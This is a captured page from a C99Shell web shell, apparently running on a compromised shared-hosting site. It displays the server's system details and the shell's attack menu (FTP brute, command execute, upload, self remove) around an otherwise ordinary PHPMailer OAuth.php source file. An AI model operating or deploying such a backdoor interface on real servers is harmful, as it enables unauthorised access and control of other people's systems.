!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/php/php-mailer/src/   drwxr-xr-x
Free 236.79 GB of 981.82 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     OAuth.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHPMailer - PHP email creation and transport class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2015 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

use 
League\OAuth2\Client\Grant\RefreshToken;
use 
League\OAuth2\Client\Provider\AbstractProvider;
use 
League\OAuth2\Client\Token\AccessToken;

/**
 * OAuth - OAuth2 authentication wrapper class.
 * Uses the oauth2-client package from the League of Extraordinary Packages.
 *
 * @see     http://oauth2-client.thephpleague.com
 *
 * @author  Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 */
class OAuth
{
    
/**
     * An instance of the League OAuth Client Provider.
     *
     * @var AbstractProvider
     */
    
protected $provider;

    
/**
     * The current OAuth access token.
     *
     * @var AccessToken
     */
    
protected $oauthToken;

    
/**
     * The user's email address, usually used as the login ID
     * and also the from address when sending email.
     *
     * @var string
     */
    
protected $oauthUserEmail '';

    
/**
     * The client secret, generated in the app definition of the service you're connecting to.
     *
     * @var string
     */
    
protected $oauthClientSecret '';

    
/**
     * The client ID, generated in the app definition of the service you're connecting to.
     *
     * @var string
     */
    
protected $oauthClientId '';

    
/**
     * The refresh token, used to obtain new AccessTokens.
     *
     * @var string
     */
    
protected $oauthRefreshToken '';

    
/**
     * OAuth constructor.
     *
     * @param array $options Associative array containing
     *                       `provider`, `userName`, `clientSecret`, `clientId` and `refreshToken` elements
     */
    
public function __construct($options)
    {
        
$this->provider $options['provider'];
        
$this->oauthUserEmail $options['userName'];
        
$this->oauthClientSecret $options['clientSecret'];
        
$this->oauthClientId $options['clientId'];
        
$this->oauthRefreshToken $options['refreshToken'];
    }

    
/**
     * Get a new RefreshToken.
     *
     * @return RefreshToken
     */
    
protected function getGrant()
    {
        return new 
RefreshToken();
    }

    
/**
     * Get a new AccessToken.
     *
     * @return AccessToken
     */
    
protected function getToken()
    {
        return 
$this->provider->getAccessToken(
            
$this->getGrant(),
            [
'refresh_token' => $this->oauthRefreshToken]
        );
    }

    
/**
     * Generate a base64-encoded OAuth token.
     *
     * @return string
     */
    
public function getOauth64()
    {
        
// Get a new token if it's not available or has expired
        
if (null === $this->oauthToken or $this->oauthToken->hasExpired()) {
            
$this->oauthToken $this->getToken();
        }

        return 
base64_encode(
            
'user=' .
            
$this->oauthUserEmail .
            
"\001auth=Bearer " .
            
$this->oauthToken .
            
"\001\001"
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1073 ]--